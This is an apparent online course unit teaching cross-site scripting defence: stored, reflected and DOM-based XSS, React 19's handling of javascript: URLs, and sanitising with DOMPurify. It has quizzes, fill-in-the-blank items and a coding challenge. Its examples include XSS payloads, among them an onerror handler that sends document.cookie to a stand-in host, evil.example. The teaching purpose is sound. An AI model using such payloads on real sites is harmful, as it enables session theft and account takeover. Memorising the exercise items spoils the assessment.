Web Security
Web Security

XSS: when your page runs someone else's script

Full · ~40 min
After this unit you can
  • Explain why XSS defeats session-based defences: injected script runs as your page, with the user's cookies
  • Tell stored, reflected and DOM-based XSS apart by where the payload lives and where it becomes markup
  • Predict what React 19 does with a payload in a text child, an attribute, dangerouslySetInnerHTML and a javascript: href
  • Choose escaping, sanitising (DOMPurify) or a URL-scheme allow-list for a given piece of user input
  • Fix a component that renders user-supplied HTML, attributes and links unsafely

Read

Simple
1 / 2

XSS means their code runs as your page

Flag

Cross-site scripting (XSS) is one bug with one shape: text an attacker controls ends up being parsed as code in your page. The classic carrier is a comment, a display name or a search term that your code turns into HTML.

// A comment from the database, written by an attacker:
const body = `<img src="x" onerror="fetch('https://evil.example/?c=' + document.cookie)">`;

commentEl.innerHTML = body; // parsed as HTML: the broken image fires onerror

The image fails to load, onerror runs, and the attacker's JavaScript is now executing inside your origin, in the victim's browser, with the victim's session. MDN's XSS page puts it plainly: the injected code "can do anything that the site's own code can do". That means it can:

  • call your API with fetch('/api/...') — the browser attaches the user's cookies, because the request is same-origin;
  • read whatever the page can read: the DOM, localStorage, a CSRF token in a hidden field;
  • rewrite the page — a fake "session expired, log in again" form that posts the password elsewhere.

That is why XSS sits above the other web defences rather than beside them. CSRF tokens, SameSite cookies and CORS all assume the attacker is on another site. With XSS they are on yours. An HttpOnly cookie stops the script reading the session cookie, but the script doesn't need to read it — every request it makes carries the cookie anyway.

The fix is never "detect the evil string". It is: never let user text reach a place where the browser parses it as code — and the rest of this unit is about where those places are.

Medium
1 / 2

Stored, reflected, DOM-based — where the payload lives

Flag

The three names describe where the attacker's string travels before something turns it into markup. The sink is the same idea every time; what changes is who can see the payload and how many people it hits.

Stored. The payload is saved — a bio, a product review, a support-ticket subject — and served to everyone who views it. MDN calls it "particularly severe, because the infected content will be served to all users who access the page, every time they access it". The admin who opens the ticket queue is the usual victim.

// app/u/[name]/page.tsx — the bio was saved from a profile form
const user = await getUser(name);
return <div dangerouslySetInnerHTML={{ __html: user.bio }} />; // runs for every visitor

Reflected. The payload rides in the request — usually a link the attacker gets the victim to open — and the server echoes it straight back into the response.

// app/search/route.ts — builds HTML by hand, so nothing escapes `q`
export async function GET(req: Request) {
  const q = new URL(req.url).searchParams.get("q") ?? "";
  return new Response(`<p>No results for ${q}</p>`, {
    headers: { "Content-Type": "text/html; charset=utf-8" },
  });
}
// /search?q=<img src=x onerror=alert(1)>

DOM-based. The payload never needs to reach your server: client-side code reads it from the URL (often the #fragment, which browsers don't send to the server at all), postMessage or storage, and writes it into a sink.

// a client component, after mount
const name = decodeURIComponent(location.hash.slice(1));
banner.current!.innerHTML = `Welcome back, ${name}`; // #<img src=x onerror=...>

Because the fragment never leaves the browser, server logs and server-side filters can't see a DOM-based attack happen.

KindWhere the payload livesWho it hits
Storedyour databaseeveryone who views it
Reflectedthe request (a crafted link)whoever opens the link
DOM-basedthe browser (URL, fragment, storage, messages)whoever opens the link; invisible to the server

The fix is the same for all three: keep the value out of HTML and script sinks — render it as text, or pass it through the right sanitiser or URL check first. The kind tells you where to look and how bad it is, not which defence to use.

Complex
1 / 2

What React 19 actually does with a javascript: URL

Flag

<a href={user.website}> with javascript:fetch('/api/me')… used to be a working XSS in React. What happens now depends on the React version:

  • React 16.9 – 18: the URL is rendered as given. React 16.9 added a development-only warning ("A future version of React will block javascript: URLs…"); production builds said nothing and the payload ran on click.
  • React 19: the React 19 upgrade guide lists "Error for javascript URLs in src and href" as a breaking change. In practice React replaces the value. Rendering <a href=" JavaScript:alert(1)"> with React 19.2 — client or server, development or production build — produces:
<a href="javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')">x</a>

A click throws that error in the console instead of running the attacker's code. The check is a case-insensitive pattern that tolerates leading control characters and tabs or newlines inside the word, so the usual obfuscations are caught. The same replacement applied to src on an iframe and to a form's action in the same test run.

What it does not cover:

  • Other schemes. data:text/html,… and vbscript:… are rendered unchanged. React's job is to stop the one scheme that runs script on click in every browser, not to decide which URLs your app accepts. OWASP's cheat sheet says it directly: React 19's blocking "does not replace application-specific URL validation".
  • Your own navigation code. window.location.href = next or window.open(next) with a user-controlled value never passes through React's attribute code, so a ?next=javascript:… parameter is a DOM-based XSS that React 19 does nothing about. (In Next.js 16.2's source, the App Router's router.push / router.replace throw on a javascript: URL themselves — a framework check, not React's, and it doesn't cover window.location.)
  • Anything inside dangerouslySetInnerHTML. React sets that string as innerHTML; a javascript: link inside it is not inspected.
  • Older React. A library or micro-frontend still on React 18 is still exposed.

So the allow-list from the medium reading stays. React 19's blocking is a backstop that turns a missed check from "account takeover" into "a broken link" — and a link that renders as a throwing javascript: URL is also a bad user experience, which is one more reason to decide in your own code whether a value becomes a link at all.

Quiz

An attacker gets their script running in your app's page. Which defence still stops them acting as the logged-in user?

Flag

A client component reads location.hash, decodes it and assigns it to element.innerHTML. A victim opens https://app.example/welcome#<img src=x onerror=…>. What kind of XSS is this, and what can your server-side logging see of it?

Flag

A customer puts a payload in a support-ticket subject. Days later it runs in the browser of every agent who opens the ticket queue. Which kind is it, and why is it usually the most damaging?

Flag

In a React component, <p>{comment.body}</p> renders a comment whose body is <img src=x onerror="alert(1)">. What happens?

Flag

Why is <span dangerouslySetInnerHTML={{ __html: `<img alt="${name}" src="${url}">` }} /> unsafe even if name contains no <, while <img alt={name} src={url} /> is safe?

Flag

React 19.2: a user sets their website to javascript:fetch('/api/me').then(…) and you render <a href={user.website}>. What happens when someone clicks it?

Flag

You render a user-supplied website as a link. Which check should decide whether it becomes an <a href>?

Flag

Posts are written in a rich-text editor that saves HTML (bold, lists, links). How should the post page render them?

Flag

Fill in the blank

Return a URL only if it's an absolute https: or http: URL. Parse first, then check the parsed scheme.

Flag
function safeHref(value: string): string | null {
  let url: URL;
  try {
    url = new (value);
  } catch {
    return null;
  }
  return url. === "https:" || url.protocol === "http:" ? url.href : null;
}

Render rich-text HTML: sanitise it with DOMPurify, then hand the result to React as raw HTML.

Flag
const clean = DOMPurify.(post.html, { USE_PROFILES: { html: true } });
return <div ={{ : clean }} />;

Embed JSON-LD in a <script> tag so that a product name containing </script> can't close the tag. Replace which character with \u003c?

Flag
__html: JSON.stringify(jsonLd).replace(//g, "\\u003c")

In plain DOM code (no React), show a server message that is meant to be plain text, without parsing it as HTML.

Flag
statusEl. = message;

Predict the output

const inputs = ["JavaScript:alert(1)", "  javascript:alert(1)", "javascript:alert(1)"];
const allowed = inputs.filter((u) => !u.startsWith("javascript:"));
console.log(allowed.length);
console.log(new URL(inputs[1]).protocol);
Flag
// React 19.2, react-dom/server
const user = { website: " JavaScript:alert(document.cookie)" };
console.log(renderToStaticMarkup(<a href={user.website}>Site</a>));
Flag
// a client component, rendered after a click (no server render)
<div
  dangerouslySetInnerHTML={{
    __html: `<script>steal("script")</script><img src="x" onerror="steal('img')">`,
  }}
/>
Flag
// app/products/[id]/page.tsx — server-rendered
const jsonLd = { name: "Mug </script><script>alert(1)</script>" };
return (
  <script
    type="application/ld+json"
    dangerouslySetInnerHTML={{ __html: JSON.stringify(jsonLd) }}
  />
);
Flag

Challenge

Make the profile card safe to render

Flag

ProfileCard renders a public profile. Every field in profile.ts comes straight from a form, so every field is attacker-controlled. With friendly data the card looks fine; the second card in the preview uses hostile data, and with the starter code its payloads run (they only repaint the page).

Three places let user text become code:

  1. The bio is plain text, but it's rendered with dangerouslySetInnerHTML, so any tag in it becomes a real element, including an <img> whose onerror runs script.
  2. The avatar is built as an HTML string. A " in the name closes the alt attribute early and starts a new attribute of the attacker's choosing.
  3. The website is filtered with a deny-list. startsWith("javascript:") misses JavaScript: and javascript:, and says nothing about data: or any other scheme. React 19 replaces javascript: URLs with one that throws, which stops that click, but it renders every other scheme as given, and the card shouldn't make a link out of something that isn't a website.

Your task

Edit ProfileCard.tsx so the tests pass:

  • Markup in bio is shown as text: no element is created from it
  • A " in name or avatarUrl can't add an attribute to the avatar <img>; alt and src hold the raw strings
  • website becomes a link only when it parses as an absolute http: or https: URL; anything else (any casing or padding of javascript:, even a tab inside the word, data:, vbscript:, or a bare ann.dev) is shown as plain text
  • A valid http or https website still links to that URL

Loading the in-browser editor…

Further reading